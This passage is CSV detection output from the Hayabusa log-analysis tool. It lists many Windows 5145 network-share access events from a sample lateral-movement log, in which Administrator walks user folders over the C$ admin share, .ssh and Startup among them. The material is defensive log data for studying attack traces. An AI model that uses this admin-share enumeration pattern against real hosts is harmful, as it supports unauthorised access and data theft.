10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.767 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Documents : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.767 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Downloads : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.767 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Favorites : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.767 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Favorites\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.767 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Favorites\Links for United States\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.777 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Favorites\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.777 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Favorites\Links for United States : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.777 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.777 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Music : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.777 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Pictures : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.777 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Saved Games : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.787 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Searches : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.787 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Videos : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.787 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.797 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Contacts\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.797 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.797 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Documents\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.807 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Downloads\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.807 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Favorites\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.807 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.807 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Music\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.807 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Pictures\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.817 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Saved Games\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.817 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Searches\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.817 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Videos\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.817 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\.ssh : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.827 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Contacts : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.827 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.827 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\AppData : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.837 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\AppData\Roaming : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.837 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\AppData\Roaming\Microsoft : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.837 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\AppData\Roaming\Microsoft\Windows : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.837 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\AppData\Roaming\Microsoft\Windows\Start Menu : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.837 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\AppData\Roaming\Microsoft\Windows\Start Menu\Programs : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.847 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.847 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\New folder : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.847 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\plugins : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.847 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\RDPWrap-v1.6.2 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.857 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\release : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.857 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\release\translations : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.867 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\release\x32 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.867 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\release\x32\db : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.867 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\release\x32\garbage : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.877 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\release\x32\memdumps : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.877 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\release\x32\platforms : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.877 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\release\x32\plugins : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.877 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\release\x64 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.887 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\release\x64\db : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.887 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\release\x64\memdumps : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.887 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\release\x64\platforms : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.887 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\release\x64\plugins : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.897 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\winrar-cve : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.897 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Documents : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.897 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Downloads : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.897 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Favorites : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.897 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Favorites\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.907 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Favorites\Links for United States\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.907 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Favorites\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.907 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Favorites\Links for United States : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.907 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.907 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Music : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.917 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Pictures : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.917 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Saved Games : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.917 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Searches : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.917 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Videos : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.917 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.927 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Documents\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.927 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Downloads\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.927 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Music\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.927 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Pictures\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.927 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Recorded TV\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.927 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Videos\desktop.ini : IP Address: 